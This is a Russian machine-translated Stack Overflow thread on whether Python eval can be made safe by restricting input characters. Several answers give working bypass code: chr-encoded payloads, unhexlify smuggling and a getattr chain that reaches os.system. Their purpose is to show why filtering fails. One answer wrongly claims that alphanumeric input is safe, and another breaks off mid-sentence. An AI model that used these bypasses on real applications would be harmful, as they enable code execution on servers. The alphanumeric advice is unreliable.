Есть ли способ защитить строки для eval Python?

есть много вопросов о SO об использовании eval Python на неуверенные строки (напр.: безопасность eval () Python на ненадежных строках?, Python: сделать eval безопасным). Единодушный ответ: это плохая идея.

однако я нашел мало информации о том, какие строки можно считать безопасными (если таковые имеются). Теперь мне интересно, есть ли определение "безопасных строк" (например.: строка, содержащая только символы ascii нижнего регистра или любой из знаков +-*/()). Подвиги, которые я нашел, обычно полагались на любой из _.,: [] '"или тому подобное. Может ли такой подход быть безопасным (для использования в веб-приложении для рисования графиков)?

в противном случае, я думаю, использование пакета синтаксического анализа, как предложил Алекс Мартелли, - единственный способ.

изменить: К сожалению, нет ни ответов, которые дают убедительное объяснение того, почему / как вышеуказанные строки следует считать небезопасными (крошечный рабочий эксплойт), ни объяснений для противоречащий. Я знаю, что следует избегать использования eval, но это не вопрос. Следовательно, я назначу награду первому, кто придумает рабочий эксплойт или действительно хорошее объяснение, почему строка, искалеченная, как описано выше, должна считаться (в)безопасной.

6 ответов


здесь у вас есть рабочий "эксплойт" с вашими ограничениями на месте - содержит только символы нижнего регистра ascii или любой из знаков +-*/() . Он опирается на 2-й уровень eval.

def mask_code( python_code ):
    s="+".join(["chr("+str(ord(i))+")" for i in python_code])
    return "eval("+s+")"

bad_code='''__import__("os").getcwd()'''
masked= mask_code( bad_code )
print masked
print eval(bad_code)

выход:

eval(chr(111)+chr(115)+chr(46)+chr(103)+chr(101)+chr(116)+chr(99)+chr(119)+chr(100)+chr(40)+chr(41))
/home/user

Это очень тривиально "использовать". Я уверен, что есть бесчисленное множество других, даже с дополнительными ограничениями характера. Стоит повторить, что всегда следует использовать парсер или ast.literal_eval(). Только путем синтаксического анализа токенов можно быть уверенным в строке безопасно оценить. Все остальное ставится против дома.


нет, нет или, по крайней мере, нет разумного, действительно безопасного способа. Python - очень динамичный язык, и оборотная сторона этого заключается в том, что очень легко подорвать любую попытку заблокировать язык.

вам либо нужно написать свой собственный парсер для подмножества, которое вы хотите, либо использовать что-то существующее, например ast.literal_eval(), для конкретных случаев, когда вы сталкиваетесь с ними. Используйте инструмент, предназначенный для работы, а не пытаться заставить существующий выполнить работу, которую вы хотите, плохо.

Edit:

пример двух строк, которые, хотя и соответствуют вашему описанию, если eval()ed для того, чтобы выполнить произвольный код (этот конкретный пример работает evil.__method__().

"from binascii import *"
"eval(unhexlify('6576696c2e5f5f6d6574686f645f5f2829'))"

эксплойт, подобный goncalopp, но также удовлетворяющий ограничению, что строка 'eval' не является подстрокой использовать:

def to_chrs(text):
    return '+'.join('chr(%d)' % ord(c) for c in text)

def _make_getattr_call(obj, attr):
    return 'getattr(*(list(%s for a in chr(1)) + list(%s for a in chr(1))))' % (obj, attr)

def make_exploit(code):
    get = to_chrs('get')
    builtins = to_chrs('__builtins__')
    eval = to_chrs('eval')
    code = to_chrs(code)
    return (_make_getattr_call(
                _make_getattr_call('globals()', '{get}') + '({builtins})',
                '{eval}') + '({code})').format(**locals())

он использует комбинацию распаковки genexp и кортежа для вызова getattr С двумя аргументами без запятой.

пример использования:

>>> exploit =  make_exploit('__import__("os").system("echo $PWD")')
>>> print exploit
getattr(*(list(getattr(*(list(globals() for a in chr(1)) + list(chr(103)+chr(101)+chr(116) for a in chr(1))))(chr(95)+chr(95)+chr(98)+chr(117)+chr(105)+chr(108)+chr(116)+chr(105)+chr(110)+chr(115)+chr(95)+chr(95)) for a in chr(1)) + list(chr(101)+chr(118)+chr(97)+chr(108) for a in chr(1))))(chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)+chr(40)+chr(34)+chr(111)+chr(115)+chr(34)+chr(41)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(34)+chr(101)+chr(99)+chr(104)+chr(111)+chr(32)+chr(36)+chr(80)+chr(87)+chr(68)+chr(34)+chr(41))
>>> eval(exploit)
/home/giacomo
0

это доказывает, что определить ограничения только на текст, которые делают код безопасным, действительно сложно. Даже такие вещи, как 'eval' in code не безопасны. Либо ты необходимо удалить возможность выполнения вызова функции вообще, или вы должны удалить все опасные встроенные модули от eval's окружающей среды. Мой подвиг также показывает, что getattr как eval даже если вы не можете использовать запятую, так как она позволяет произвольно входить в иерархию объектов. Например, вы можете получить real


чтобы изучить, как сделать безопасный eval, я предлагаю модуль RestrictedPython (более 10 лет использования производства, один прекрасный кусок программного обеспечения Python)

http://pypi.python.org/pypi/RestrictedPython

RestrictedPython принимает исходный код Python и изменяет его AST (абстрактное синтаксическое дерево), чтобы сделать оценку безопасной в песочнице, без утечки каких-либо внутренних элементов Python, которые могут позволить избежать песочницы.

от источника RestrictedPython код вы узнаете, какие трюки необходимо выполнить, чтобы сделать Python изолированным безопасным.


вы, вероятно, должны избегать eval, на самом деле.

но если вы застряли с ним, вы можете просто убедиться, что ваши строки буквенно-цифровые. Это должно быть безопасно.


недостаточно создать процедуры дезинфекции ввода. Вы также должны убедиться, что дезинфекция не один раз случайно опущена. Один из способов сделать это -проверка душок.